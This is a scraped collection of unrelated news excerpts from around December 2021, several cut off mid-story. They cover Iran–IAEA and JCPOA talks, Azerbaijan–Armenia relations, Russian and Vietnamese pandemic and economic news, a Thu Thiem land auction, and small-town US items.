nuclear watchdogs safeguards and the Non-Proliferation Treaty (NPT). Eslami also said the IAEAs request to access the TESA Karaj Complex, a centrifuge component manufacturing workshop in north-central Iran, is beyond the safeguards agreement and therefore unacceptable. He further noted that if the UN nuclear watchdog seeks access to the nuclear site under the 2015 Iran nuclear agreement, also known as the Joint Comprehensive Plan of Action (JCPOA), all other parties should move to fulfill their obligations. If the JCPOA is slated to be operational, all [parties] must fulfill their obligations and it is not that Iran fully complies with its obligations and the other party does not fulfill its obligations, he asserted. "When they do not fulfill their commitments and impose harsh, illegal and unjust sanctions on Iran and expand them every day, there is no reason to force us to comply with them [Irans obligations under the JCPOA]. We act within the framework of IAEA safeguards and NPT and do not accept anything other than that, Eslami added. Azerbaijani President Ilham Aliyev said in an interview with Spanish newspaper El Pais that there is no need to return to any discussions on the status of Karabakh. "Azerbaijan's position is open and clear. We want peace. We do not want war. We won the war, we are the winners. And this reality must be taken into account. And the Karabakh conflict is settled - no need to return to any discussions about the status of Karabakh or something like that," the Azerbaijani leader stressed. When asked about Azerbaijan's expectations from Armenia, Ilham Aliyev answered that Armenia should refrain from any hostile actions and territorial claims, while working on a peace agreement and adhering to the normal behaviour of the 21st century. "Azerbaijan and Armenia are neighbouring countries, and they must learn to live side by side, as well as gradually prepare the ground for the normalization of relations, including contacts between people. Azerbaijan is ready. However, it seems that the internal situation in Armenia and its disappointment after losing the war have caused some psychological trauma in society due to high expectations and unrealistic assessment of military-political forces," the Azerbaijani leader added. President of Azerbaijan Ilham Aliyev at the joint press conference with NATO Secretary General Jens Stoltenberg said the legal regime of the Zangezur corridor linking Azerbaijan with its autonomous exclave of Nakhchivan should be the same as that governing the Lachin corridor between Armenia's Goris and Azerbaijan's Khankendi. According to the Vestnik Kavkaza correspondent, that's how Ilham Aliyev answered the question of whether border customs points will operate on the route of the Zangezur corridor. The President of Azerbaijan explained that now both options are being discussed - with and without customs. "The Trilateral Statement clearly says that Azerbaijan provides security and unimpeded access for connection between Karabakh and Armenia and Armenia should provide the same unimpeded access and security for connections between Azerbaijan and Nakhchivan. So, today there are no customs on Lachin Corridor there. Therefore, there should be no customs on Zangezur Corridor. If Armenia would insist on using their custom facilities to control the cargos and people, then we will insist on the same on Lachin Corridor," he said. "The decision is to be made by Armenia," Ilham Aliyev said, noting that he will discuss these two options with Prime Minister Nikol Pashinyan during a joint dinner with President of the European Council Charles Michel. In addition, he stressed that its a kind of obligation for Armenia to open the Zangezur corridor. The Azerbaijani President said that at this stage they have achieved an agreement on building the railroad connection from Azerbaijan through Armenia to Nakhchivan Autonomous Republic and also agreement on construction of the highway, but the exact route of the highway has not yet been identified. Iran and the International Atomic Energy Agency have clinched a good deal that could allay concerns about Tehrans peaceful nuclear program, Iranian Foreign Minister Hossein Amirabdollahian said on Wednesday. Amirabdollahian said Iran and the IAEA reached a good deal last night that could allay the concerns that have been raised about Irans peaceful nuclear program. The agreement could also result in the continuation of mutual cooperation between Iran and the UN nuclear agency, he added. Amirabdollahian also noted that the IAEA has sometimes utilized technical tools to politically affect the Vienna negotiations on the revival of the Joint Comprehensive Plan of Action (JCPOA). Highlighting Irans policy of dignified negotiations with the P4+1 in Vienna, he categorically denied reports that the documents proposed by the Iranian team of negotiators contain demands beyond the JCPOA. Those texts (proposed by Iran) are entirely in accordance with the JCPOA and contain nothing beyond the JCPOA. The texts are the result of tens of hours of discussions, the foreign minister added. He reiterated that Iran insists on the full removal of the sanctions imposed after the JCPOA in exchange for the alleviation of the other sides concerns about Irans peaceful nuclear program, Tasnim reported. Irans ambassador and permanent representative to the United Nations Majid Takht-Ravanchi said that participation in Vienna talks on the removal of anti-Iran sanctions with genuine political will and good faith would be the key to the success of negotiations in the Austrian capital. "The current Vienna talks can succeed, not by engaging in blame games, not by setting artificial deadlines, not by introducing threats and intimidations, not by raising unfounded accusations or disinformation campaigns, and not by committing sabotage, disruptive or terrorist activities in Iran," he said in a statement on 'Non-Proliferation: implementation of Security Council Resolution 2231' during a session of the UN Security Council on Tuesday. "But only by engaging in negotiations with genuine political will and in good faith, and sticking to one principle: the full, effective and verifiable implementation by all sides of all commitments under the JCPOA; nothing more and nothing less. This is the most pragmatic and easily achievable solution at the earliest time. There is no magic solution," Iran Press cited him as saying. The level of herd immunity to the coronavirus infection in Russia amounts to 56.1%, Russian Deputy Prime Minister Tatyana Golikova said on Tuesday. "As for the level of herd immunity, today it amounts to 56.1%," she said at Russian President Vladimir Putins meeting with members of the government. According to her, the best results - above 80% - were registered in Sevastopol, over 72% were recorded in the Chukotka Autonomous Region, the Republic of Tuva, the Republic of Karelia, the Moscow Region, St. Petersburg and Moscow. Russian Foreign Ministry spokesperson Maria Zakharova, speaking to Vestnik Kavkaza, positively assessed first President of Kazakhstan Nursultan Nazarbayev's initiative of Azerbaijan becoming an observer in the Eurasian Economic Union (EAEU). "The initiative of Nursultan Abishevich Nazarbayev, who, in fact, is the ideologist of Eurasian integration, deserves attention. As you know, the EAEU is open to states sharing its goals, principles and interested in closer integration and interaction. First of all, with the CIS countries having the closest ties with the EAEU member states," she said in the first place. The diplomat recalled the advantages that the EAEU provides to its members. "The EAEU is developing at a rapid pace, continuously developing economic cooperation, actively modernizing the transport infrastructure. It has a technical regulation system, created taking into account international experience. Despite the difficult period due to the pandemic, dynamics of most macroeconomic indicators is positive," Maria Zakharova noted. "It seems that the development of relations between Azerbaijan and the EAEU would contribute to the intensification of mutual trade and unblocking of transport links in the region. As well as, of course, the implementation of large-scale regional and not only regional infrastructure projects," the official representative of the Russian Foreign Ministry emphasized. At the same time, she recalled that Armenia could hinder the mutually beneficial granting of observer status in the EAEU to Azerbaijan. "As you know, it is necessary to take into account that the decision to increase the level of interaction between the EAEU is made with the consent of all member states and the interested party, following the results of a comprehensive expert study of the possible economic consequences of such a step," Maria Zakharova concluded. New contenders wanting to export natural gas from Russia by pipeline have emerged in addition to Rosneft , Energy Minister Nikolai Shulginov said. Rosneft earlier asked to be allowed to export 10 billion cubic meters of gas per year to Europe as an experiment. At present, only Gazprom can export Russian natural gas by pipeline, while exports of liquefied natural gas (LNG) are gradually being liberalized. "Things are still being worked out regarding Rosneft, this will be like an experiment," Shulginov said. "There was another request [from another company], but first we need to learn with the experiment, prepare, formulate the requirements for agent contracts. After this, we can discuss the matter some time with other companies," Shulginov said. "They need to be given access to pipelines. They have resources, while Gazprom has the transport," Shulginov said, commenting on possible changes in the agent agreement. Russian President Vladimir Putin briefed Chinese leader Xi Jinping in a video call on his recent conversation with US President Joe Biden, describing it as substantive and useful, Kremlin Aide Yury Ushakov told reporters on Wednesday. "Our president briefed the [Chinese] chairman on his recent video call with US President Joe Biden. Our president pointed out that on the whole, the conversation had been substantive and useful," he said. Putin also told the Chinese leader that he had drawn Bidens attention to increasing threats for Russias national interests stemming from attempts by the US and NATO "to continue moving their military infrastructure closer to Russias borders." "In this regard, our president highlighted the need to promptly launch serious talks with the United States and NATO in order to develop international legal security guarantees for our country that would rule out the alliances further eastward expansion and the deployment of weapons threatening Russia particularly in Ukraine and other neighboring states," the Kremlin aide stressed. Ushakov noted that Putin and Xi Jinping have noted the progress in improving the infrastructure on the Russian-Chinese border. "It was also noted that last year an important step forward was made in improving the infrastructure on the Russian-Chinese border," he said. The official specified that after many years of work the construction of a motorway bridge crossing across the Amur River near Blagoveshchensk and Heihe was completed, the construction of a railway bridge across the Amur near checkpoints Nizhneleninskoye and Tongjiang is nearing completion. "It is difficult to overestimate the significance of these two projects since until now there wasnt a single permanent bridge along the entire section of the border between the countries along the Amur and Ussuri rivers," the aide explained. Considering the importance of these projects, an understanding was reached that next year the heads of state will participate in the ceremony of opening traffic on one of the bridges across the Amur in a videoconference format, the aide concluded. Putin and his Chinese counterpart discussed the Power of Siberia 2 pipeline project during the talks, Ushakov said. "Yes, the issue was mentioned," he said when asked whether the leaders spoke about the prospects of gas supplies via Power of Siberia 2. It was noted that "the leaders had discussed the issue during online contacts this year," Ushakov added. Putin tasked Gazprom with shifting to the initial stage of the implementation of the Power of Siberia 2 project last spring. The pipeline will allow uniting gas transport systems of Russias east and west. Moreover, the company will be able to deliver up to 50 bln cubic meters of gas via Mongolia to China through the pipeline, and provide gas to a number of Russian regions. The United Nations has called on the United States to lift sanctions against Iran in line with the 2015 multilateral nuclear deal, which Washington has abandoned, and extend waivers regarding oil trade with the Islamic Republic, amid a diplomatic process in Vienna to revitalize the troubled agreement. UN Under-Secretary-General for Political and Peacebuilding Affairs Rosemary DiCarlo made the remarks on Tuesday as she briefed the Security Council on the implementation of Resolution 2231, which endorsed the Joint Comprehensive Plan of Action (JCPOA). I appeal to the United States to lift or waive its sanctions as outlined in the plan and extend the waivers regarding the trade in oil with the Islamic Republic of Iran, she said. Also important is the extension of US waivers regarding certain civilian nuclear-related activities, she added, stressing that waiver extensions were also needed for exchanging enriched uranium out of Iran for natural uranium. Elsewhere in her comments, DiCarlo said that given the status of the Vienna talks, full restoration of the JCPOA and Resolution 2231 would require additional effort and patience. In recent days, both Iran and the United States have again affirmed their seriousness in seeking to return to full implementation of the JCPOA. The Secretary-General is encouraged by these pledges and calls on both countries to expeditiously translate these commitments into a mutually acceptable agreement, she added. The Secretary-General hopes that in their current negotiations, the United States and the Islamic Republic of Iran will mobilize the same spirit and commitment that resulted in the JCPOA. There is simply no viable alternative to the full and effective implementation of the Plan and the resolution. Vaccine diplomacy isnt just about calling international partners and organizations to continue providing vaccine aid, but also about seeking vaccine purchases and negotiating for vaccine production technology transfer. Vietnamese Ambassador to the US Ha Kim Ngoc Vietnamese Ambassador to the US Ha Kim Ngoc told the press on the sidelines of the 20th National Conference on Local Diplomacy that the number of vaccine doses donated by the US has reached 24.5 million, or one-third of that to all of Southeast Asia. The figure reflects the current good relationship between the two countries, Vietnams serious mobilization and effective use of vaccines. When discussing with US partners, I always stressed that every vaccine dose will be used effectively and no dose will be wasted, Ngoc said. At first, when Covid-19 broke out and the US was in difficulty, Vietnam shared difficulties with the US though we ourselves were having problems. This made a good impression, he continued. When I mentioned this with the US partners, they said a friend in need is a friend indeed. And now, when they give vaccines to us, they always repeat the saying, he said. Vietnamese Ambassador to Belgium, Head Vietnam's Delegation to the EU, Nguyen Van Thao also believes that the know-how behind the success of Vietnams vaccine diplomacy is that Vietnam has affectionate friends who have closely linked interests. The success also affirms Vietnams position and role in the global value chain. Vietnam is a member of the global supply chain, so if it is too seriously hit by the pandemic, this may cause supply chain disruption and the countries in the chain, including the EU, will also be affected. This was the argument we used when discussing with EU countries, Thao said. The countries are well aware of this and have donated vaccines through both COVAX program and bilateral agreements. The EU is second just to the US in number of vaccine doses donated to Vietnam. Vietnam has been effectively using political diplomacy, economic diplomacy and cultural diplomacy. In terms of political diplomacy, Vietnam has been mobilizing vaccine aid through strategic and comprehensive partners, creating political relation cohesion. Economic diplomacy aims at avoiding disruption to supply chains. Regarding cultural diplomacy, in 2020, when Europe was affected by the pandemic, Vietnam donated face masks. And now European countries are willing to help Vietnam, according to Thao. Ngoc said that what Vietnam has gained is the result of relentless comprehensive efforts in many fields. The US administration has given about $40 million by providing medical equipment and training in anti-pandemic skills to medical workers. Ngoc said he met the US CDC (Centers for Disease Control and Prevention) Director under the previous Trump administration and asked for help. They said: no need to ask. All the equipment is on the way to Hanoi and HCM City already, Ngoc recalled. He believes that Vietnam needs is strengthen cooperation with the US to turn Vietnam into a vaccine, treatment drug and medical equipment production base. The US, during US Vice President Kamala Harris visit to Vietnam in August, and inaugurated the CDC regional office. This marked an important turning point. The two countries have been supporting each other. In April 2020, Vietnam provided medical equipment and supplies, and now the US provides vaccines to Vietnam. Vietnamese Ambassador to Belgium Nguyen Van Thao I believe that this is a good foundation for us to enhance cooperation in the future. Being self-sufficient in vaccines is the most important thing, Ngoc said. Reopening with confidence In 2020, Europe was seriously hit by the Covid-19 pandemic. However, Europe had its own approach quickly increasing vaccination coverage and opening the doors very early. European countries have strengthened anti-pandemic measures amid the appearance of Omicron, but they dont close the doors. Thao said with the great efforts by the Government and diplomatic agencies, Vietnam has had a relatively large vaccination coverage and it can confidently open its door. Opening doesnt only mean to foreign travelers, but also removing bottlenecks for exchange of goods. During the pandemic, the biggest obstacle to goods exchange between Vietnam and the world and the EU is the sharp increase in container transportation fees of 5-10 times. This is caused by sailors needing a long quarantine after returning, and a shortage of empty containers. Long closure of the economy will have heavy impact on socio-economic development. Talents should be treated well Ngoc said there are 200,000 Vietnamese intellectuals in the US, accounting for half of total overseas Vietnamese intellectuals. This is a highly educated community in the US compared to other immigrant communities. There are many famous intellectuals in the US, especially in basic sciences, physics and information technology. Ngoc proposed that central agencies set practical measures to attract overseas Vietnamese intellectuals, set policies to reply to initiatives and recommendations. Meanwhile, local authorities need to create attractive environments and policies to encourage and promote talents. He suggested that the encouragement should address modern fields such as high technologies. There should be working environments attractive enough for them (talents) to work. And its necessary to respect them, he said. Thai An Trade cant be done online, Vietnam needs to reopen Foreign investors want to come to Vietnam to do business but they need to know about contacts and where they can seek input materials, according to Vietnamese Ambassadors to the UK and Austria. One of the businesses participating in a bidding session on December 10, 2021 had to pay VND2.4 billion per one square meter to obtain a land plot in Thu Thiem new urban area. The sky high price has raised worries rather than joy. Land prices too high At a bidding session for four land plots in the central area of Thu Thiem New Urban Area on December 10, the plot fell into the hands of Ngoi Sao Viet Real Estate, which paid VND24.5 trillion, or 8.3 times higher than the initial price. This means that one square meter of land there is valued at VND2.4 billion. The land plot was sold to Dream Public which paid VND3.82 trillion, or 6.6 times higher than the starting price, while Binh Minh Trading obtained the land plot for VND5.026 trillion, or seven times higher. A real estate expert warned that with such land prices, the price of apartments will be very high. The 6,446 square meter land plot sold to Dream Public, for example, has the land cost of VND457 million per square meter for every apartment. The land plot, covering an area of 10,059.7 square meters, obtained by a subsidiary of Tan Hoang Minh Group, was bought at VND24.5 trillion, which meant that the land cost price for every apartment is VND42.9 billion, or VND363 million per square meter. As for the land plot with the area of 5,000 square meters that Binh Minh Trading won with the price of VND5.026 trillion, or 7 times higher than the starting price, the company had to pay VND1 billion for every square meter of land. The four land lots are located in Functional Area No 3 in Thu Thiem New Urban Area, next to Vong Cung Boulevard, in HCM City's Thu Duc City. With the price levels, the land prices in the central area of HCM City are nearly the same as Tokyo and Hong Kong, Asian financial and trade centers, considered the most expensive areas in the world. A survey found that with $1 million, one can buy 16 square meters in Monaco, 22 square meters in Hong Kong, 54 square meters in Shanghai, 58 square meters in Los Angeles and 66 square meters in Beijing, and only 10 square meters in Vietnam. Meanwhile, there is a big difference in terms of income from property exploitation and from finance - business in HCM City. Whats next? The good news is that the high price levels have brought a lot of revenue to the citys budget. However, experts point out that this is worrying rather than positive, because the land prices are overly high, which will push the prices of apartments and finished products up. The good news is that the high price levels have brought a lot of revenue to the citys budget. However, experts point out that this is worrying rather than positive, because the land prices are overly high, which will push the prices of apartments and finished products up. Dang Hung Vo, a real estate expert, commented that in HCM City, only land in the central area in district 1 is valued at over VND1 billion per square meter. Meanwhile, Thu Thiem is considered an area with development potential in the future. Therefore, its unreasonable that land prices there are even twice more expensive than the most expensive area of the city. Vo pointed out that Nguyen Hue, Le Loi and Dong Khoi streets are considered the commercial hub of HCM City, so land prices there are the most expensive. If Thu Thiem is even more expensive, this is abnormal. Vo assumes that the price increase is artificial but he said the final conclusion will be made when the businesses winning the bids pay enough money as committed. Tran Khanh Quang, an expert in this area, commented that with the bidding prices of the four land plots, a new price ground has been set and the risk of a new land fever is visible. According to Quang, real estate price increases previously occurred only in some areas and projects. However, as the land plots in Thu Thiem have been put into public auction, this means an announcement of the establishment of a new price ground. He warned of a new price fever in Thu Duc City in particular and the southern market in general. Nguyen Tri Hieu, an economist, said the real estate price will not increase forever and the escalation will stop when the price reaches a certain level. If the pandemic developments are complicated and the economy falls into difficulty, the prices may drop dramatically. If so, this may lead to a market collapse. Some analysts have warned of a real estate bubble. They said the bubble does not exist now, when the demand is high and the number of buyers is high. However, the phenomenon may occur in the future once demand decreases amid economic difficulties. Asked about the real estate bubble, Hieu said this happens when real estate prices increase too rapidly within one year. A 10 percent price increase is normal, but 20-30 percent increase within 12 months could be the sign of a bubble. If the prices increase too sharply, this will go beyond buyers financial capability. If so, demand will decrease and the bubble will burst, he said. Nghia noted that the current supply shortage, which is attributed to legal problems and overlapping regulations. However, he believes it is also occurring because businesses are collecting land for speculation. In 2015, Tan Hoang Minh won a bid to buy a land plot at No 23 Le Duan in district 1, HCM City at VND1.43 trillion, but later it did not pay money to get the land. Duy Anh HCMC to auction four land lots in Thu Thiem early next month Four land lots with a total area of over 30,000 square meters in the Thu Thiem New Urban Area in HCMCs Thu Duc City will be auctioned on December 3 with a starting price of VND5.3 trillion. Chairman of the Nation Assembly Vuong Dinh Hue arrived in New Delhi on December 15 for his official visit to India. At a welcome ceremony held for Chairman of the Nation Assembly Vuong Dinh Hue at the Palam military airport in New Delhi (Photo: VNA) Chairman of the Nation Assembly Vuong Dinh Hue arrived in New Delhi on December 15 for his official visit to India at the invitations of Speaker of the Lok Sabha (House of Representatives) of India Om Birla and Chairman of the Rajya Sabha (Upper House) Venkaiah Naidu. Hues current official visit to India aims at further consolidating and promoting the Vietnam-India relationship, which is at its finest stage since the establishment of diplomatic relations. It also affirms that Vietnam is willing to, together with India, open a new and more effective period of their ties. Demonstrating the NA's active and positive work serving external relations affairs, the visit shows that Vietnam is a friend and a reliable partner of India and that Vietnam is ready to cooperate with India in contribution to the maintenance of peace, stability, cooperation and development in the region. While in India, the Vietnamese top legislator is scheduled to hold talks with Speaker of the Lok Sabha Om Birla, and meet with Chairman of the Rajya Sabha Venkaiah Naidu and Indian Prime Minister Narendra Modi. He will also receive leaders of the Communist Party of India and attend a ceremony marking the 5th anniversary of the two nations comprehensive strategic partnership, among other activities. Vietnam and India established their diplomatic relation in 1972 and upgraded the ties to comprehensive strategic partnership in September 2016. They are working to implement an action programme materialising the partnership for 2021-2023. They always support each other and regularly exchange delegation across all levels, particularly high-level ones. Their bilateral trade grew 16 percent on an annual basis between 2008 and 2013. India is one of the 10 biggest partners of Vietnam, with two-way trade reaching 9.67 billion USD last year, and nearly 11 billion USD as of October 2021. By October, India ranked 26th out of 140 countries and territories investing in Vietnam with 310 projects worth some 910 million USD. Vietnam also invested in nine projects in India with total capital of nearly 6.03 million USD. Over the past years, the nations parliamentary ties have been consolidated, significantly contributing to enhancing the traditional friendship and comprehensive strategic partnership. The Vietnamese legislature and Indias Lok Sabha (House of Representatives) signed a cooperation agreement in 2016. NA Chairman meets Vietnamese community in India National Assembly Chairman Vuong Dinh Hue on December 15 visited the Vietnamese Embassy in New Delhi and met the Vietnamese community in India. The top legislator emphasised that the Vietnam-India comprehensive strategic partnership continues to develop robustly across all pillars, achieving high efficiency and reliability. He said his current visit aims to make contribution to efforts made by the countries Parties, States and peoples in deepening the partnership. Hue stated given complicated developments of the COVID-19 pandemic, the Vietnamese Party and State, with the spirit of leaving no one behind, have promptly implemented support measures, including the organisation of nearly 200 flights to carry home more than 53,000 Vietnamese citizens from over 50 countries and territories. He stressed that overseas Vietnamese is an indispensable part and a resource of Vietnam./. Source: VNA Digital technology is forecast to create US$74 billion for Vietnam's economy by 2027. However, Vietnam must attract investment capital from around the world, especially investment in startups. There are more Vietnamese startups in high-tech fields such as AI and big data. Photo: Trong Dat In the post-Covid-19 world, technology is becoming an indispensable part of life. Artificial intelligence, Big Data, 5G, Internet of Things (IoT) and automation are seen as new tech trends this year. The Covid-19 pandemic also has given a push to accelerate the application of technology, said Nguyen Dinh Thang - Chairman of Vietnam Digital Startup Club (VDI) at a conference on December 14. According to Thang, during the pandemic, investment in innovation and start-ups around the world and Vietnam are still booming. To seize the opportunity to promote investment in technology, Vietnam needs to complete tge legal foundation for this field. The Vietnam Digital Economy Potential Report shows that if it is fully utilized digital technology can bring US$74 billion to Vietnam by 2030, equivalent to 27% of Vietnam's GDP in 2020. The fields that can benefit the most are manufacturing, agriculture, food, education and training. For digital technologies to thrive and benefit the economy, investment will play a key role. According to statistics of the Department of Market Development and Science and Technology Enterprises (Ministry of Science and Technology), investment in start-ups in Vietnam in 2021 witnessed remarkable growth, reaching more than $1.3 billion. The most attractive fields are financial technology (FinTech), games, education, healthcare and e-commerce. Currently, there are more than 200 investment funds operating in Vietnam with more than 100 business promotion organizations and incubators. According to experts, these figures are a positive sign about capital flow into startups and technology companies in Vietnam. However, the country can still attract more investment from around the world. Pham Hong Quat, Director of the Department of Market Development and Science and Technology Enterprises (Ministry of Science and Technology), said the Vietnam Software Association (Vinasa) has formed a network of angel investors and organized various events to connect and train startups. This is an opportunity for Vietnamese startups, especially in the field of IT and software, to meet consulting teams and investors. Trong Dat Global list includes name of Vietnamese unicorns Startup Sky Mavis with the game Axie Infinity has surprised the Vietnamese startup community when it reached a huge total market capitalization - US$2.4 billion - after three years since its release, a record time in the Asian technology world. Vietnams technology firms are capable of creating technological solutions that solve Vietnamese problems, but they still cannot overcome users doubts about their products. Ha Trung Kien, the founder of Gapo Ha Trung Kien, the founder of Gapo, the second largest Vietnamese social network with 6 million users, made an impressive presentation about the importance of Vietnam-made digital platforms at the national forum on digital technology firm development. In 2020, Vietnam had 800,000 operational businesses. In 2021, 85,000 new businesses were set up, while 13,000 were dissolved, more than 45,000 were suspended and 28.2 million workers were affected (losing jobs, having lower income). The pandemic has accelerated the digital transformation process at enterprises. It has helped optimize operation costs and leaders make decisions quickly and accurately, thanks to information systems and real-time reports, thus allowing businesses to increase their competitiveness. According to Kien, most large corporations are going digital. The pandemic has prompted them to find solutions to optimize costs, so there will be a shift from using foreign service platforms to Make-in-Vietnam platforms. He believes that Make-in-Vietnam platforms have the advantages of understanding what Vietnams businesses need and can customize products to best satisfy businesses. Moreover, Vietnamese support teams are always ready at costs lower than foreign platforms. However, Vietnamese users still have doubts about the quality of Vietnam-made products. To solve this problem, its necessary to run media campaigns to make people better understand Vietnam-made products. However, the most important feature is that Vietnam-made products must solve questions of Vietnamese users. One of the common questions of many businesses cited by Kien is personnel attachment in institutions, which has direct impact on business results. Deloitte found that 87 percent of businesses have problems in ineffective transactions among staff, which affects business results, resignation rate, and working performance. Once the problem is solved, this will create a positive impact on business. According to the Gallup Organization, business results may increase by 22 percent if businesses have high personnel cohesion. Meanwhile, a survey of University of Warwick found that workers performance can increase by 12 percent if they are happy about their jobs. Many businesses are using popular software for communications, such as Facebook, WhatsApp, Zalo and Viber. However, they have to face problems in information security. If using specific services, businesses will have to pay $3-8/head/month, which means $40,000 a month for 5,000 workers, a huge amount of money for many businesses. Gapo is providing Gapowork, a Make-in-Vietnam set of tools which can solve the Vietnamese problem. The solution helps officers in businesses connect with each other easily at a reasonable cost. Trong Dat VN tech firms take on mission of developing national digital platforms The Ministry of Information and Communications has announced the list of 35 national digital platforms need to be developed, and has assigned Vietnam's key tech corporations to research and create these platforms. The Standing Board of the Hanoi Party Committee has asked relevant agencies to design scenarios for daily Covid-19 numbers of 2,000-3,000 and the risk of diseas spread during the upcoming Christmas and New Year holidays. Hanoi authorities warn the risk of Covid outbreaks during Christmas and year-end events. The Hanoi authorities have also asked the health department to design policies to mobilize the participation of retired health workers and medical students in the fight against Covid-19. Grassroots authorities were told to keep a close watch on the pandemic situation, improve healthcare systems and raise awareness over Covid-19 infection prevention among residents. Wards, towns and communes should quickly apply home-based care and treatment for Covid-19 patients with no or mild symptoms to ease the overload facing hospitals, while quarantining those who come into close contact with positive cases at home. The number of locally transmitted cases in the capital city reached nearly 900 cases on December 12 and 762 cases on December 13. From October 11 to December 13, Hanoi recorded over 15,000 Covid-19 infection cases. The city has 37 areas under lockdown and nine Covid-19 clusters. The city has so far prepared 32 hospitals and 27 mobile medical stations with the capacity to treat 100,000 cases. Tran Thuong The National Institute of Hygiene and Epidemiology has announced that the shelf life of seven more batches of the Pfizer Covid-19 vaccine have been extended for six to nine months. The expiration date of the 124001, 123002, 126001 and 123001 batches was extended from November 30, 2021 to February 28, 2022. The 128002, 129001, PCA0006 and PCA0017 batches can remain in use until March 31, 2022, instead of December 31, 2021. Earlier, two batches of over 2.9 million Pfizer doses also had their shelf life extended by three months. In a dispatch sent to the centers for disease control (CDC) of cities and provinces nationwide on December 13, the National Institute of Hygiene and Epidemiology asked the CDCs to inform Covid-19 vaccination sites about the expiration extension. It also requested medical workers to explain the expiration extension to residents to prevent any misunderstanding. According to Dr. Phan Trong Lan, Director of the Department of Preventive Medicine, based on a request by Pfizer, the U.S. Food and Drug Administration on August 22 approved the extension of the Pfizer vaccine shelf life from six to nine months. The European Medicines Agency made the same decision on September 10. The expiration extension will cause no changes to the vaccine, so its efficacy and safety will be maintained. According to Minister of Health Nguyen Thanh Long, Vietnam extended the shelf life of the vaccine batches based on international practice. The vaccines sent to Vietnam have been reviewed in line with the requirements of the World Health Organization (WHO) to ensure quality. Bao An It has hurt us big time. People cant get in here, Baggett said. Oh, Lordy, this has been happening on Elm Street two or three years now. Blake Demaria continues his familys barbecue tradition at 1000 Elm Ave., Tony Demarias Bar-B-Que. Customers travel a more circuitous route than they once did, but Elm Avenue is smooth as glass out front, and the restaurant got a new driveway out of the deal, Demaria said. Demaria said he has mixed emotions about the roadworks impact on business. He said things are better now that crews and equipment have moved from near his front doorstep. Improvements along Elm Avenue began so long ago, he has trouble remembering what the old street looked like, he said. Its a double-edged sword, Demaria said. This is good. It needs to happen for the sake of Elm Street. But who wants to come in, spend money on something in the middle of a road closure? I dont think well see growth of the area until its done. As I said, it needs to happen, and Im happy theyre finally doing it. Its just taking so long to get it done. Jordan Beard, with Reid Peevey Commercial Real Estate Company, lists multiple properties along Elm Avenues 600 block. He said interest remains intense. Among her most famous expressions was her definition of feminism, which she called "a movement to end sexism, sexist exploitation and oppression." Ibram X. Kendi, Roxane Gay and Tressie McMillan Cottom were among those mourning hooks. Author Saeed Jones noted that her death came just a week after the loss of the celebrated Black author and critic Greg Tate. "It all feels so pointed," he tweeted Wednesday. Hooks taught at numerous schools, including Yale University, Oberlin College and City College of New York. She joined the Berea College faculty in 2004 and a decade later founded the center named for her, where "many and varied expressions of difference can thrive." hooks was born Gloria Jean Watkins in 1952 in the segregated town of Hopkinsville, Kentucky, and later gave herself the pen name bell hooks in honor of her maternal great-grandmother. She loved reading from an early age, majored in English at Stanford University and received a master's in English from the University of Wisconsin, where she began writing "Ain't I a Woman." Her early influences ranged from James Baldwin and Sojourner Truth to the Rev. Martin Luther King Jr. On Oct. 17, 2019, he seized her passport after she refused his sexual advances again, she said. The following day, she said she filed a complaint with the police. The angry officer then showed up at the house where she was staying, Lisbet said, and threatened to have her killed for reporting him. She said she went to the international bridge and told the immigration officials about the officers harassment and threats, begging to enter the U.S. I kept crying to them, but without any compassion, they just told me no, they couldnt do anything for me, Lisbet said. On the night of Dec. 7, 2019, two days before her court hearing in El Paso, she was walking in an empty street alone when the officer found her and raped her. I was in shock, she said. I couldnt believe the physical pain I was in. I also started to feel shame because I would have to explain to people what happened to me. A couple found her in the street and called an ambulance, which took her to a hospital where a doctor performed reconstructive surgery to repair the damage from the attack. MALMO The Village of Malmo was awarded a $5,000 grant to bring a unique set of swings to the local park. On Dec. 7, officials with Northeast Nebraska Telephone Company (NNTC) and the Foundation for Rural Service (FRS) presented a check to members of the Malmo Planning and Zoning Commission and Village Board of Trustees at Centennial Park. The money will be used to purchase an Expression Swing and a Double Bay Single Post Swing from GameTime. An Expression Swing is a two-seat swing made for an adult and a child where they face each other to be able to interact face-to-face. The Double Bay Single Post Swing is a regular swingset with two sets of swings. Jennifer Chvatal, a member of the Malmo Planning and Zoning Commission, submitted the application on behalf of the village in an effort to upgrade the playground equipment at the park, encourage people to play outdoors and to enhance communication. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} JESUP The longtime superintendent of Jesup Community Schools has resigned. We accepted the resignation of our superintendent, Nathan Marting, said James Masteller, president of the Board of Education. The board met in closed session for about a half hour Friday morning during a special meeting. After returning to open session, members voted unanimously to approve a resignation agreement with Marting effective immediately. Masteller declined to discuss reasons for Martings resignation. The board emailed a message to families Friday informing them Marting had resigned. We thank Mr. Marting for his service to the District and wish him well in his future endeavors, it said. Masteller shared the message with The Courier. Before Friday, the board had held special meetings that also included closed sessions Nov. 9 and Dec. 6 lasting about 3-1/2 and two hours, respectively. Like Fridays meeting, board members went into closed session to evaluate the professional competency of an employee. No action was taken at those meetings. A phone message left for Marting seeking comment wasnt returned Tuesday. He has worked for the district since 2009, when the board hired him as superintendent. According to a Courier story, Marting came to Jesup Schools from Midland Community School District in Wyoming, Iowa, where he was the superintendent and secondary principal. Were working on securing an interim, said Masteller. The board will then begin the search for a full-time superintendent with an expected start date of July 1. During this time of transition, we will make every effort to minimize disruption to the Districts operations, and most importantly to the work of teaching and learning, the email message said. It also noted that district officials would be looking for the involvement of residents in the superintendent search to ensure we find the best fit to lead the Jesup Community School District in the coming years. Love 2 Funny 4 Wow 7 Sad 2 Angry 1 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. WATERLOO Waterloo scored the lowest of nine Iowa cities when it comes to LGBTQ equality in city government, according to an annual scorecard from two nonprofits pushing for full civil rights for those individuals across the U.S. The city scored 71 points out of a possible 100, according to this years scorecard from the Human Rights Campaign Foundation and The Equality Federation. Thats higher than the national average of 67 points, but lower than Iowas average of 93 points. Its the 10th year HRC has put out its municipal equality index, a nationwide assessment of LGBTQ equality in municipal policies, law and services in 506 cities across the nation. The scorecards were released last month. This year, statewide lawmakers have zeroed in on attacking transgender and non-binary children for no reason other than in an effort to harm and erase them, said JoDee Winterhof, HRCs senior vice president of policy and political affairs. Local leaders, however, have continued to move the needle of progress forward, and by doing so, they have spurred economic growth by signaling to residents, visitors and employers that their city is open to everyone. HRC scored nine cities in Iowa: Dubuque, Iowa City and West Des Moines 